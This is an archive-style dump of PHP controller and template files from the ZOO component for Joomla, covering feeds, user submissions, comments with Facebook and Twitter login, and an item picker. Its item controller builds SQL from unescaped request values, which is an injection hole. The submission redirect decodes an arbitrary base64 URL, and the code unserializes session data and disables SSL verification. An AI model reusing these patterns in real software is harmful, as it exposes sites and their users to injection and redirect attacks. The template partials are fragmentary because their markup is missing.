$params->get('config.feed_title', ''); // raise error when feed is disabled if (empty($show_feed_link)) { return $this->app->error->raiseError(404, JText::_('Unable to access feed')); } // get feed items from category if ($category_id) { $categories = $category->getChildren(true); } $categories[$category->id] = $category; $feed_limit = $this->app->system->config->get('feed_limit'); $feed_items = $this->app->table->item->getByCategory($this->application->id, array_keys($categories), true, null, array('_itempublish_up', '_reversed'), 0, $feed_limit, true); // set title if ($feed_title) { $this->app->system->document->setTitle($this->app->zoo->buildPageTitle(html_entity_decode($this->getView()->escape($feed_title)))); } // set feed link $this->app->system->document->setLink(JRoute::_($category_id ? $this->app->route->category($category) : $this->app->route->frontpage($this->application->id))); // set feed description $this->app->system->document->setDescription(html_entity_decode($this->getView()->escape($this->app->system->document->getDescription()))); // set renderer $renderer = $this->app->renderer->create('item')->addPath(array($this->app->path->path('component.site:'), $this->application->getTemplate()->getPath())); foreach ($feed_items as $feed_item) { // create feed item $item = new JFeedItem(); $item->title = html_entity_decode($this->getView()->escape($feed_item->name)); $item->link = $this->app->route->item($feed_item); $item->date = $feed_item->created; $item->author = $feed_item->getAuthor(); $item->description = $this->_relToAbs($renderer->render('item.feed', array('item' => $feed_item))); // add to feed document $this->app->system->document->addItem($item); } } protected function _getAlphaindex() { return $this->app->application->getAlphaIndex($this->application); } protected function _relToAbs($text) { // convert relative to absolute url $base = JURI::base(); $text = preg_replace("/(href|src)=\"(?!http|ftp|https|mailto)(?!\/)([^\"]*)\"/", "$1=\"$base\$2\"", $text); $base = JURI::getInstance()->toString(array('scheme', 'user', 'pass', 'host', 'port')); $text = preg_replace("/(href|src)=\"(?!http|ftp|https|mailto)([^\"]*)\"/", "$1=\"$base\$2\"", $text); return $text; } // @deprecated as of 2.5.7 protected function _buildPageTitle($title) { return $this->app->zoo->buildPageTitle($title); } } /* Class: DefaultControllerException */ class DefaultControllerException extends AppException {} com_zoo/controllers/submission.php000066600000050673150771500630013506 0ustar00user = $this->app->user->get(); // get item id $this->item_id = $this->app->request->getInt('item_id'); // get pathway $this->pathway = $this->app->system->application->getPathway(); // get submission info from Request if (!$submission_id = $this->app->request->getInt('submission_id')) { // else get submission info from menu item if ($menu = $this->app->menu->getActive()) { $this->menu_params = $this->app->parameter->create($menu->params); $submission_id = $this->menu_params->get('submission'); } } // set submission if ($this->submission = $this->app->table->submission->get((int) $submission_id)) { // set application $this->application = $this->submission->getApplication(); // set template $this->template = $this->application->getTemplate(); // set session form key $this->session_form_key = self::SESSION_PREFIX . 'SUBMISSION_FORM_' . $this->submission->id; } // load administration language files $this->app->system->language->load('', JPATH_ADMINISTRATOR, null, true); $this->app->system->language->load('com_zoo', JPATH_ADMINISTRATOR, null, true); } public function mysubmissions() { try { $this->_checkConfig(); if (!$this->app->user->canAccess($this->user, 1)) { throw new SubmissionControllerException('Insufficient User Rights.'); } // get request vars $order = $this->app->request->getCmd('order', $this->app->system->application->getParams()->get('order', 0)); $limit = SubmissionController::PAGINATION_LIMIT; $state_prefix = $this->option.'_'.$this->application->id.'.submission.'.$this->submission->id; $this->filter_type = $this->app->system->application->getUserStateFromRequest($state_prefix.'.filter_type', 'filter_type', '', 'string'); $search = $this->app->string->strtolower($this->app->system->application->getUserStateFromRequest($state_prefix.'.search', 'search', '', 'string')); $this->page = $this->app->request->getInt('page', 1); $limitstart = (max(array($this->page, 1)) - 1) * $limit; $this->types = $this->submission->getSubmittableTypes(); // set renderer $this->renderer = $this->app->renderer->create('item')->addPath(array($this->app->path->path('component.site:'), $this->template->getPath())); // type filter if (empty($this->filter_type)) { $type = $this->types; } else { $type = $this->filter_type; } $this->items = $this->app->table->item->getByUser($this->application->id, $this->user->id, $type, $search, $order, $limitstart, $limit); $this->pagination = $this->app->pagination->create($this->app->table->item->getItemCountByUser($this->application->id, $this->user->id, $type, $search), $this->page, $limit, 'page', 'app'); // type select if (count($this->types) > 1) { $options = array($this->app->html->_('select.option', '', '- '.JText::_('Select Type').' -')); foreach ($this->types as $id => $type) { $options[] = $this->app->html->_('select.option', $id, $type->name); } $this->lists['select_type'] = $this->app->html->_('select.genericlist', $options, 'filter_type', 'class="inputbox auto-submit"', 'value', 'text', $this->filter_type); } // add search $this->lists['search'] = $search; // Can a new item be added? $this->show_add = $this->_checkMaxSubmissions(); // display view $this->getView('submission')->addTemplatePath($this->template->getPath())->setLayout('mysubmissions')->display(); } catch (SubmissionControllerException $e) { // raise warning on exception $this->app->error->raiseWarning(0, (string) JText::_($e)); } } public function submission() { try { $this->_init(); // on edit: can access and is owner if frontend edit is disabled for the item if ($this->item->id && (!$this->item->canAccess($this->user) || (!$this->submission->isItemEditSubmission() && $this->item->created_by != $this->user->id))) { throw new AppControllerException('You are not allowed to edit this item.'); } // If it's a new item and the user has reached the max number of submissions, trigger error if (!$this->item->id && !$this->_checkMaxSubmissions()) { return $this->app->error->raiseNotice(0, 'You have reached your maximum number of submissions'); } // bind data from sessions post data $this->errors = 0; if ($post = unserialize($this->app->system->application->getUserState($this->session_form_key))) { // remove post data from session $this->app->system->application->setUserState($this->session_form_key, null); // bind data $this->errors = $this->_bind($post); } $this->cancelUrl = false; if ($this->redirectTo) { // build cancel url $this->cancelUrl = $this->_getRedirectLink(); // build pathway $this->pathway->addItem($this->item->id ? JText::_('Edit Submission') : JText::_('Add Submission')); } // build captcha $this->captcha = false; if ($plugin = $this->submission->getParams()->get('captcha', false) and (!$this->submission->getParams()->get('captcha_guest_only', 0) || !$this->app->user->get()->id)) { $this->captcha = JCaptcha::getInstance($plugin); } // display view $this->getView('submission')->addTemplatePath($this->template->getPath())->setLayout('submission')->display(); } catch (SubmissionControllerException $e) { // raise warning on exception $this->app->error->raiseWarning(0, (string) JText::_($e)); } } public function save() { // check for request forgeries $this->app->session->checkToken() or jexit('Invalid Token'); // init vars $post = $this->app->request->get('post:', 'array'); $msg = ''; try { $this->_init(); // set name on new item if (!$edit = (bool) $this->item->id) { $this->item->name = JText::_('Submitted Item'); } // on edit: can access and is owner if frontend edit is disabled for the item if ($edit && (!$this->item->canAccess($this->user) || (!$this->submission->isItemEditSubmission() && $this->item->created_by != $this->user->id))) { throw new AppControllerException('You are not allowed to make changes to this item.'); } // If it's a new item and the user has reached the max number of submissions, trigger error if (!$this->item->id && !$this->_checkMaxSubmissions()) { throw new AppControllerException('You have reached your maximum number of submissions'); } // get element data from post if (isset($post['elements'])) { // filter element data if (!$this->submission->isInTrustedMode() && !$this->app->user->isJoomlaAdmin($this->user)) { $this->app->request->setVar('elements', $this->app->submission->filterData($post['elements'])); $post = $this->app->request->get('post:', 'array'); } // merge elements into post $post = array_merge($post, $post['elements']); } // merge userfiles element data with post data foreach ($_FILES as $key => $userfile) { if (strpos($key, 'elements_') === 0) { $post[str_replace('elements_', '', $key)]['userfile'] = $userfile; } } $item_name = $this->item->name; $error = $this->_bind($post); // Check captcha if ($plugin = $this->submission->getParams()->get('captcha', false) and (!$this->submission->getParams()->get('captcha_guest_only', 0) or !$this->app->user->get()->id)) { $captcha = JCaptcha::getInstance($plugin); if (!$captcha->checkAnswer(@$post['captcha'])) { $error = $captcha->getError(); if (!($error instanceof Exception)) { $error = new JException($error); } // raise warning on exception $this->app->error->raiseWarning(0, JText::_('ZOO_CHECK_CAPTCHA') . ' - ' . JText::_($error)); } } // save item if it is valid if (!$error) { // set alias if (!$edit || $item_name != $this->item->name) { $this->item->alias = $this->app->alias->item->getUniqueAlias($this->item->id, $this->app->string->sluggify($this->item->name)); } // unpublish item in none trusted state if (!$this->submission->isInTrustedMode() && !in_array('_itemstate', array_keys($this->elements_config))) { $this->item->state = 0; } // set modified $this->item->modified = $this->app->date->create()->toSQL(); $this->item->modified_by = $this->user->get('id'); // enforce time limit on submissions if (!$edit && !$this->submission->isInTrustedMode()) { $timestamp = time(); if ($timestamp < $this->app->system->session->get('ZOO_LAST_SUBMISSION_TIMESTAMP') + SubmissionController::TIME_BETWEEN_PUBLIC_SUBMISSIONS) { $this->app->system->application->setUserState($this->session_form_key, serialize($post)); throw new SubmissionControllerException('You are submitting too fast, please try again in a few moments.'); } $this->app->system->session->set('ZOO_LAST_SUBMISSION_TIMESTAMP', $timestamp); } // deprecated as of version 2.5.7 call to doUpload, use before save event instead foreach ($this->elements_config as $element) { if (($element = $this->item->getElement($element['element'])) && $element instanceof iSubmissionUpload) { $element->doUpload(); } } // Add primary category if no primary category is set (i.e: no itemcategory element present) $primary_category = $this->item->getPrimaryCategory(); if (!$edit && empty($primary_category) && $category = $this->submission->getForm($this->type->id)->get('category')) { $this->item->getParams()->set('config.primary_category', $category); } // trigger before save event $this->app->event->dispatcher->notify($this->app->event->create($this->submission, 'submission:beforesave', array('item' => $this->item, 'new' => !$edit))); // save item $this->app->table->item->save($this->item); // save to default category if (!$edit && ($category = $this->submission->getForm($this->type->id)->get('category'))) { $this->app->category->saveCategoryItemRelations($this->item, array($category)); } // set redirect message $msg = JText::_($edit ? 'Submission saved' : ($this->submission->isInTrustedMode() ? 'Thanks for your submission.' : 'Thanks for your submission. It will be reviewed before being posted on the site.')); // trigger saved event $this->app->event->dispatcher->notify($this->app->event->create($this->submission, 'submission:saved', array('item' => $this->item, 'new' => !$edit))); } else { // add post data to session if form is not valid $this->app->system->application->setUserState($this->session_form_key, serialize($post)); } } catch (SubmissionControllerException $e) { $error = true; // raise warning on exception $this->app->error->raiseWarning(0, (string) JText::_($e)); } catch (AppException $e) { $error = true; // raise warning on exception $this->app->error->raiseWarning(0, JText::_('There was an error saving your submission, please try again later.')); // add exception details, for super administrators only if ($this->user->superadmin) { $this->app->error->raiseWarning(0, (string) $e); } } // If an error is found, redirect to the edit form itself $link = $error ? $this->app->route->submission($this->submission, $this->type->id, null, $this->item_id, $this->redirectTo) : $this->_getRedirectLink(); $this->setRedirect(JRoute::_($link, false), $msg); } public function remove() { // init vars $msg = null; try { $this->_checkConfig(); if (!$this->submission->isInTrustedMode()) { throw new AppControllerException('The submission is not in Trusted Mode.'); } // get item table and delete item $table = $this->app->table->item; $item = $table->get($this->item_id); // is current user the item owner and does the user have sufficient user rights if ($item->id && (!$item->canAccess($this->user) || $item->created_by != $this->user->id)) { throw new AppControllerException('You are not allowed to make changes to this item.'); } $table->delete($item); // set redirect message $msg = JText::_('Submission Deleted'); // trigger deleted event $this->app->event->dispatcher->notify($this->app->event->create($item, 'submission:deleted')); } catch (AppException $e) { // raise warning on exception $this->app->error->raiseWarning(0, JText::_('There was an error deleting your submission, please try again later.')); // add exception details, for super administrators only if ($this->user->superadmin) { $this->app->error->raiseWarning(0, (string) JText::_($e)); } } $this->setRedirect(JRoute::_($this->app->route->mysubmissions($this->submission), false), $msg); } public function loadtags() { // get request vars $tag = $this->app->request->getString('tag', ''); echo $this->app->tag->loadTags($this->application->id, $tag); } protected function _checkConfig() { if (!$this->application || !$this->submission) { throw new SubmissionControllerException('Submissions are not configured correctly.'); } if (!$this->submission->getState()) { throw new SubmissionControllerException('Submissions are disabled.'); } if (!$this->submission->canAccess($this->user)) { throw new SubmissionControllerException('Insufficient User Rights.'); } } protected function _checkMaxSubmissions() { $max_submissions = $this->submission->getParams()->get('max_submissions', '0'); // Infinite: all ok if ($max_submissions == '0') { return true; } $current_submissions = $this->app->table->item->getItemCountByUser($this->application->id, $this->user->id); return $current_submissions < $max_submissions; } protected function _init() { //init vars $type_id = $this->app->request->getCmd('type_id'); $hash = $this->app->request->getCmd('submission_hash'); $this->redirectTo = urldecode($this->app->request->getString('redirect', '')); // check config $this->_checkConfig(); // get submission info from request if ($type_id) { if ($hash != $this->app->submission->getSubmissionHash($this->submission->id, $type_id, $this->item_id)) { throw new SubmissionControllerException('Hashes did not match.'); } // else get submission info from active menu } elseif ($this->menu_params) { $type_id = $this->menu_params->get('type'); // remove item_id (menu item may not have an item_id) $this->item_id = null; } // set type $this->type = $this->submission->getType($type_id); // check type if (!$this->type) { throw new SubmissionControllerException('Submissions are not configured correctly.'); } // set hash $this->hash = $hash ? $hash : $this->app->submission->getSubmissionHash($this->submission->id, $this->type->id, $this->item_id); // set layout $this->layout = $this->submission->getForm($this->type->id)->get('layout', ''); // check layout if (empty($this->layout)) { throw new SubmissionControllerException('Submission is not configured correctly.'); } // set renderer $this->renderer = $this->app->renderer->create('submission')->addPath(array($this->app->path->path('component.site:'), $this->template->getPath())); // set layout path $this->layout_path = 'item.'; if ($this->renderer->pathExists('item/'.$this->type->id)) { $this->layout_path .= $this->type->id.'.'; } $this->layout_path .= $this->layout; // get positions $positions = $this->renderer->getConfig('item')->get($this->application->getGroup().'.'.$this->type->id.'.'.$this->layout, array()); // get elements from positions $this->elements_config = array(); foreach ($positions as $position) { foreach ($position as $element) { $this->elements_config[$element['element']] = $element; } } // get item if (!$this->item_id || !($this->item = $this->app->table->item->get($this->item_id))) { $now = $this->app->date->create()->toSQL(); $this->item = $this->app->object->create('Item'); $this->item->application_id = $this->application->id; $this->item->type = $this->type->id; $this->item->publish_up = $now; $this->item->publish_down = $this->app->database->getNullDate(); $this->item->access = $this->app->joomla->getDefaultAccess(); $this->item->created = $now; $this->item->created_by = $this->user->get('id'); $this->item->created_by_alias = ''; $this->item->state = 0; $this->item->searchable = true; $this->item->getParams() ->set('config.enable_comments', true) ->set('config.primary_category', 0); } } protected function _bind($post = array()) { $errors = 0; foreach ($this->elements_config as $element_data) { try { if (($element = $this->item->getElement($element_data['element']))) { // get params $params = $this->app->data->create(array_merge(array('trusted_mode' => $this->submission->isInTrustedMode()), $element_data)); $element->bindData($element->validateSubmission($this->app->data->create(@$post[$element->identifier]), $params)); } } catch (AppValidatorException $e) { if (isset($element)) { $element->error = $e; $element->bindData(@$post[$element->identifier]); } $errors++; } } return $errors; } protected function _getRedirectLink() { // Check redirect link switch ($this->redirectTo) { case null: // Check menu item for redirect if ($menu = $this->app->menu->getActive()) { if ($menu_item_id = $this->app->parameter->create($menu->params)->get('redirect', false)) { return JRoute::_('index.php?Itemid=' . $menu_item_id, false); } } return $this->app->route->submission($this->submission, $this->type->id, null, $this->item_id, $this->redirectTo); case 'mysubmissions': // redirect to list of submissions return $this->app->route->mysubmissions($this->submission); case 'itemedit': // Redirect to the item if ($this->item->getState() == 1) { return $this->app->route->item($this->item); } else { return $this->app->route->submission($this->submission, $this->type->id, null, $this->item_id); } default: // Custom redirect return base64_decode($this->redirectTo); } } } /* Class: SubmissionControllerException */ class SubmissionControllerException extends AppException {}com_zoo/controllers/comment.php000066600000032214150771500630012744 0ustar00user = $this->app->user->get(); // get application $this->application = $this->app->zoo->getApplication(); // get comment params $this->params = $this->app->parameter->create($this->application->getParams()->get('global.comments.')); } public function save() { // check for request forgeries $this->app->session->checkToken() or jexit('Invalid Token'); // set currently active author $this->author = $this->app->comment->activeAuthor(); // init vars $redirect = $this->app->request->getString('redirect'); $login = $this->app->request->getCmd(CommentHelper::COOKIE_PREFIX.'login', '', 'cookie'); if ($this->author->getUserType() == $login) { if ($this->params->get('enable_comments', false)) { // init vars $content = $this->app->request->getVar('content', null, '', 'string', JREQUEST_ALLOWRAW); $item_id = $this->app->request->getInt('item_id', 0); $parent_id = $this->app->request->getInt('parent_id', 0); // filter content $content = $this->app->comment->filterContentInput($content); // set content in session $this->app->session->set('com_zoo.comment.content', $content); // set author name, email and url, if author is guest if ($this->author->isGuest()) { $this->author->name = $this->app->request->getString('author'); $this->author->email = $this->app->request->getString('email'); $this->author->url = $this->app->request->getString('url'); // save cookies $this->app->comment->saveCookies($this->author->name, $this->author->email, $this->author->url); } try { // Check captcha if ($plugin = $this->params->get('captcha', false) and (!$this->params->get('captcha_guest_only', 0) or !$this->app->user->get()->id)){ $captcha = JCaptcha::getInstance($plugin); if (!$captcha->checkAnswer($this->app->request->getString('captcha', ''))) { $error = $captcha->getError(); if (!($error instanceof Exception)) { $error = new JException($error); } throw new CommentControllerException(JText::_('ZOO_CHECK_CAPTCHA') . ' - ' . $error ); } } // get comment table $table = $this->app->table->comment; // get parent $parent = $table->get($parent_id); $parent_id = ($parent && $parent->item_id == $item_id) ? $parent->id : 0; // create comment $comment = $this->app->object->create('Comment'); $comment->parent_id = $parent_id; $comment->item_id = $item_id; $comment->ip = $this->app->useragent->ip(); $comment->created = $this->app->date->create()->toSQL(); $comment->content = $content; $comment->state = Comment::STATE_UNAPPROVED; // auto approve comment $approved = $this->params->get('approved', 0); if ($this->author->isJoomlaAdmin()) { $comment->state = Comment::STATE_APPROVED; } else if ($approved == 1) { $comment->state = Comment::STATE_APPROVED; } else if ($approved == 2 && $table->getApprovedCommentCount($this->author)) { $comment->state = Comment::STATE_APPROVED; } // bind Author $comment->bindAuthor($this->author); // validate comment, if not an administrator if (!$this->author->isJoomlaAdmin()) { $this->_validate($comment); } // save comment $table->save($comment); // remove content from session, if comment was saved $this->app->session->set('com_zoo.comment.content', ''); } catch (CommentControllerException $e) { // raise warning on exception $this->app->error->raiseWarning(0, (string) $e); } catch (AppException $e) { // raise warning on exception $this->app->error->raiseWarning(0, JText::_('ERROR_SAVING_COMMENT')); // add exception details, for super administrators only if ($this->user->superadmin) { $this->app->error->raiseWarning(0, (string) $e); } } // add anchor to redirect, if comment was saved if ($comment->id) { $redirect .= '#comment-'.$comment->id; } } else { // raise warning on comments not enabled $this->app->error->raiseWarning(0, JText::_('Comments are not enabled.')); } } else { // raise warning on exception $this->app->error->raiseWarning(0, JText::_('ERROR_SAVING_COMMENT')); // add exception details, for super administrators only if ($this->user->superadmin) { $this->app->error->raiseWarning(0, JText::_('User types didn\'t match.')); } } $this->setRedirect($redirect); } public function unsubscribe() { // init vars $item_id = $this->app->request->getInt('item_id'); $email = $this->app->request->getString('email'); $hash = $this->app->request->getCmd('hash'); $msg = ''; $redirect = 'index.php'; try { if ($hash != $this->app->comment->getCookieHash($email, $item_id, '')) { throw new CommentControllerException('Hashes did not match.'); } // subscribe author to item if (!($item = $this->app->table->item->get($item_id))) { throw new CommentControllerException('Item not found.'); } $this->app->table->item->save($item->unsubscribe($email)); $redirect = $this->app->route->item($item, false); $msg = JText::_('SUCCESSFULLY_UNSUBSCRIBED'); } catch (CommentControllerException $e) { // raise warning on exception $this->app->error->raiseWarning(0, (string) $e); } catch (AppException $e) { // raise warning on exception $this->app->error->raiseWarning(0, JText::_('ERROR_UNSUBSCRIBING')); // add exception details, for super administrators only if ($this->user->superadmin) { $this->app->error->raiseWarning(0, (string) $e); } } $this->setRedirect(JRoute::_($redirect), $msg); } protected function _validate($comment) { // get params $require_author = $this->params->get('require_name_and_mail', 0); $registered = $this->params->get('registered_users_only', 0); $time_between_user_posts = $this->params->get('time_between_user_posts', 120); $blacklist = $this->params->get('blacklist', ''); // check if related item exists if ($this->app->table->item->get($comment->item_id) === null) { throw new CommentControllerException('Related item does not exists.'); } // only registered users can comment if ($registered && $this->author->isGuest()) { throw new CommentControllerException('LOGIN_TO_LEAVE_OMMENT'); } // validate required name/email if ($this->author->isGuest() && $require_author && (empty($comment->author) || empty($comment->email))) { throw new CommentControllerException('Please enter the required fields author and email.'); } // validate email format try { $this->app->validator->create('email')->addOption('required', false)->clean($comment->email); } catch (AppValidatorException $e) { throw new CommentControllerException('Please enter a valid email address.'); } // validate url format try { $this->app->validator->create('url')->addOption('required', false)->clean($comment->url); } catch (AppValidatorException $e) { throw new CommentControllerException('Please enter a valid website link.'); } // check if content is empty if (empty($comment->content)) { throw new CommentControllerException('Please enter a comment.'); } // check quick multiple posts if ($last = $this->app->table->comment->getLastComment($comment->ip, $this->author)) { if ($this->app->date->create($comment->created)->toUnix() < $this->app->date->create($last->created)->toUnix() + $time_between_user_posts) { throw new CommentControllerException('You are posting comments too quickly. Slow down a bit.'); } } // check against spam blacklist if ($this->app->comment->matchWords($comment, $blacklist) && $comment->state != Comment::STATE_SPAM) { $comment->state = Comment::STATE_SPAM; } // check comment for spam (akismet) if ($this->params->get('akismet_enable', 0) && $comment->state != Comment::STATE_SPAM) { try { $this->app->comment->akismet($comment, $this->params->get('akismet_api_key')); } catch (Exception $e) { // re-throw exception, for super administrators only if ($this->user->superadmin) throw new AppException($e->getMessage()); } } // check comment for spam (mollom) if ($this->params->get('mollom_enable', 0) && $comment->state != Comment::STATE_SPAM) { try { $this->app->comment->mollom($comment, $this->params->get('mollom_public_key'), $this->params->get('mollom_private_key')); } catch (Exception $e) { // re-throw exception, for super administrators only if ($this->user->superadmin) throw new AppException($e->getMessage()); } } } public function facebookConnect() { // init vars $item_id = $this->app->request->getInt('item_id', 0); $item = $this->app->table->item->get($item_id); // get facebook client $connection = $this->app->facebook->client(); if ($connection && empty($connection->access_token)) { $redirect = JURI::root().'index.php?option='.$this->option.'&controller='.$this->controller.'&task=facebookauthenticate&item_id='.$item_id; $redirect = $connection->getAuthenticateURL($redirect); } else { // already connected $redirect = $this->app->route->item($item); } $this->setRedirect($redirect); } public function facebookAuthenticate() { // init vars $item_id = $this->app->request->getInt('item_id', 0); $item = $this->app->table->item->get($item_id); // get facebook client $connection = $this->app->facebook->client(); if ($connection) { $code = $this->app->request->getString('code', ''); $redirect = JURI::root() .'index.php?option='.$this->option.'&controller='.$this->controller.'&task=facebookauthenticate&item_id='.$item_id; $url = $connection->getAccessTokenURL($code, $redirect); $result = $this->app->http->get($url, array('ssl_verifypeer' => false)); $token = str_replace('access_token=', '', $result['body']); $_SESSION['facebook_access_token'] = $token; } $this->setRedirect($this->app->route->item($item)); } public function facebookLogout() { $this->app->facebook->logout(); $this->setRedirect($this->app->request->getString('HTTP_REFERER', '', 'server')); } public function twitterConnect() { // get twitter client $connection = $this->app->twitter->client(); // redirect to the referer after authorize/login procedure $referer = $this->app->request->getString('HTTP_REFERER', '', 'server'); // retrieve request token only if token is not supplied already if ($connection && empty($connection->token)) { $redirect = JURI::root() .'index.php?option='.$this->option.'&app_id='.$this->application->id.'&controller='.$this->controller.'&task=twitterauthenticate&referer='.urlencode($referer); // get temporary credentials $request_token = $connection->getRequestToken($redirect); // save temporary credentials to session $_SESSION['twitter_oauth_token'] = $token = $request_token['oauth_token']; $_SESSION['twitter_oauth_token_secret'] = $request_token['oauth_token_secret']; // if last connection failed don't display authorization link switch ($connection->http_code) { case 200: // build authorize URL and redirect user to Twitter $redirect = $connection->getAuthorizeURL($token); break; default: // show notification if something went wrong. $this->app->error->raiseWarning(0, JText::_('ERROR_CONNECT_TWITTER')); $redirect = $referer; } } else { // already connected $redirect = $referer; } $this->setRedirect($redirect); } public function twitterAuthenticate() { // get twitter client $connection = $this->app->twitter->client(); if ($connection) { // retrieve access token $token_credentials = $connection->getAccessToken($_REQUEST['oauth_verifier']); // replace request token with access token in session. if ($token_credentials) { $_SESSION['twitter_oauth_token'] = $token_credentials['oauth_token']; $_SESSION['twitter_oauth_token_secret'] = $token_credentials['oauth_token_secret']; } else { // show notification if something went wrong. $this->app->error->raiseWarning(0, JText::_('ERROR_CONNECT_TWITTER')); } } $this->setRedirect($this->app->request->getString('referer')); } public function twitterLogout() { $this->app->twitter->logout(); $this->setRedirect($this->app->request->getString('HTTP_REFERER', '', 'server')); } } /* Class: CommentControllerException */ class CommentControllerException extends AppException { /** * Converts the exception to a human readable string * * @return string The error message * * @since 1.0.0 */ public function __toString() { return JText::_($this->getMessage()); } }com_zoo/controllers/index.html000066600000000036150771500630012563 0ustar00com_zoo/controllers/item.php000066600000014150150771500630012237 0ustar00table = $this->app->table->item; // get application $this->application = $this->app->zoo->getApplication(); // set user $this->user = $this->app->user->get(); } public function element() { // include template css $template = $this->app->database->queryResult('SELECT template FROM #__template_styles WHERE client_id = 1 AND home = 1'); $this->app->document->addStylesheet("root:administrator/templates/$template/css/template.css"); jimport('joomla.html.pagination'); // get database $this->db = $this->app->database; // get Joomla application $this->joomla = $this->app->system->application; // get request vars $this->filter_item = $this->app->request->getInt('item_filter', 0); $this->type_filter = $this->app->request->get('type_filter', 'array', array()); $state_prefix = $this->option.'_'.$this->application->id.'.'.($this->getTask() == 'element' ? 'element' : 'item').'.'; $filter_order = $this->joomla->getUserStateFromRequest($state_prefix.'filter_order', 'filter_order', 'a.created', 'cmd'); $filter_order_Dir = $this->joomla->getUserStateFromRequest($state_prefix.'filter_order_Dir', 'filter_order_Dir', 'desc', 'word'); $filter_category_id = $this->joomla->getUserStateFromRequest($state_prefix.'filter_category_id', 'filter_category_id', '-1', 'string'); $filter_type = $this->joomla->getUserStateFromRequest($state_prefix.'filter_type', 'filter_type', '', 'string'); $filter_author_id = $this->joomla->getUserStateFromRequest($state_prefix.'filter_author_id', 'filter_author_id', 0, 'int'); $search = $this->joomla->getUserStateFromRequest($state_prefix.'search', 'search', '', 'string'); $search = $this->app->string->strtolower($search); $page = $this->app->request->getInt('page', 1); $limit = ItemController::PAGINATION_LIMIT; // is filtered ? $this->is_filtered = $filter_category_id <> '-1' || !empty($filter_type) || !empty($filter_author_id) || !empty($search); $this->users = $this->table->getUsers($this->application->id); $this->groups = $this->app->zoo->getGroups(); // select $select = 'a.*'; // get from $from = $this->table->name.' AS a'; // get data from the table $where = array(); // application filter $where[] = 'a.application_id = ' . (int) $this->application->id; // category filter if ($filter_category_id === '') { $from .= ' LEFT JOIN '.ZOO_TABLE_CATEGORY_ITEM.' AS ci ON a.id = ci.item_id'; $where[] = 'ci.item_id IS NULL'; } else if ($filter_category_id > -1) { $from .= ' LEFT JOIN '.ZOO_TABLE_CATEGORY_ITEM.' AS ci ON a.id = ci.item_id'; $where[] = 'ci.category_id = ' . (int) $filter_category_id; } // type filter if (!empty($this->type_filter)) { $where[] = 'a.type IN ("' . implode('", "', $this->type_filter) . '")'; } else if (!empty($filter_type)) { $where[] = 'a.type = "' . (string) $filter_type . '"'; } // item filter if ($this->filter_item > 0) { $where[] = 'a.id != ' . (int) $this->filter_item; } // author filter if ($filter_author_id > 0) { $where[] = 'a.created_by = ' . (int) $filter_author_id; } if ($search) { $from .= ' LEFT JOIN '.ZOO_TABLE_TAG.' AS t ON a.id = t.item_id'; $where[] = '(LOWER(a.name) LIKE '.$this->db->Quote('%'.$this->db->escape($search, true).'%', false) . ' OR LOWER(t.name) LIKE '.$this->db->Quote('%'.$this->db->escape($search, true).'%', false) . ' OR LOWER(a.alias) LIKE '.$this->db->Quote('%'.$this->db->escape($search, true).'%', false).')'; } // access filter $where[] = 'a.'.$this->app->user->getDBAccessString($this->user); // state filter $where[] = 'a.state = 1'; $options = array( 'select' => $select, 'from' => $from, 'conditions' => array(implode(' AND ', $where)), 'order' => $filter_order.' '.$filter_order_Dir, 'group' => 'a.id'); $count = $this->table->count($options); // in case limit has been changed, adjust limitstart accordingly $limitstart = ($page - 1) * $limit; $this->items = $this->table->all($limit > 0 ? array_merge($options, array('offset' => $limitstart, 'limit' => $limit)) : $options); $this->items = array_merge($this->items); $this->pagination = $this->app->pagination->create($count, $limitstart, $limit, 'page', 'app'); // category select $options = array(); $options[] = $this->app->html->_('select.option', '-1', '- ' . JText::_('Select Category') . ' -'); $options[] = $this->app->html->_('select.option', '', '- ' . JText::_('uncategorized') . ' -'); $options[] = $this->app->html->_('select.option', '0', '- '.JText::_('Frontpage')); $this->lists['select_category'] = $this->app->html->_('zoo.categorylist', $this->application, $options, 'filter_category_id', 'class="inputbox auto-submit"', 'value', 'text', $filter_category_id); // type select $options = array($this->app->html->_('select.option', '0', '- '.JText::_('Select Type').' -')); $this->lists['select_type'] = $this->app->html->_('zoo.typelist', $this->application, $options, 'filter_type', 'class="inputbox auto-submit"', 'value', 'text', $filter_type, false, false, $this->type_filter); // author select $options = array($this->app->html->_('select.option', '0', '- '.JText::_('Select Author').' -')); $this->lists['select_author'] = $this->app->html->_('zoo.itemauthorlist', $options, 'filter_author_id', 'class="inputbox auto-submit"', 'value', 'text', $filter_author_id); // table ordering and search filter $this->lists['order_Dir'] = $filter_order_Dir; $this->lists['order'] = $filter_order; $this->lists['search'] = $search; $this->getView()->setLayout('element')->display(); } }com_zoo/partials/_submission.php000066600000005176150771500630013114 0ustar00app->document->addScript('libraries:jquery/jquery-ui.custom.min.js'); $this->app->document->addStylesheet('libraries:jquery/jquery-ui.custom.css'); $this->app->document->addScript('libraries:jquery/plugins/timepicker/timepicker.js'); $this->app->document->addStylesheet('libraries:jquery/plugins/timepicker/timepicker.css'); $this->app->document->addStylesheet('assets:css/submission.css'); $this->app->document->addScript('assets:js/submission.js'); $this->app->document->addScript('assets:js/placeholder.js'); $this->app->document->addScript('assets:js/item.js'); if ($this->submission->showTooltip()) { $this->app->html->_('behavior.tooltip'); } ?> errors): ?> errors) > 1 ? JText::_('Oops. There were errors in your submission.') : JText::_('Oops. There was an error in your submission.'); ?>

    renderer->render($this->layout_path, array('item' => $this->item, 'submission' => $this->submission)); // Captcha support if ($this->captcha) { $this->app->html->_('behavior.framework'); echo $this->captcha->display('captcha', 'captcha', 'captcha'); } ?>

    cancelUrl) : ?>
    app->html->_('form.token'); ?>
    com_zoo/partials/_respond.php000066600000010675150771500630012373 0ustar00get('registered_users_only'); $this->app->document->addScript('assets:js/placeholder.js'); ?>

    name.' ('.JText::_('Joomla').')'; ?>

    name.' ('.JText::_('Facebook').')'; ?> -

    name.' ('.JText::_('Twitter').')'; ?> -

    isGuest()) : ?>

    get('facebook_enable') || $params->get('twitter_enable')) echo JText::_('Optional login below.'); ?>

    get('facebook_enable') || $params->get('twitter_enable')) : ?>

    get('facebook_enable')) : ?> get('twitter_enable')) : ?>

    get('require_name_and_mail');?>
    " value="name; ?>"/>
    isGuest())) : ?>
    app->html->_('behavior.framework'); ?>
    display('captcha', 'captcha', 'captcha'); ?>
    app->html->_('form.token'); ?>
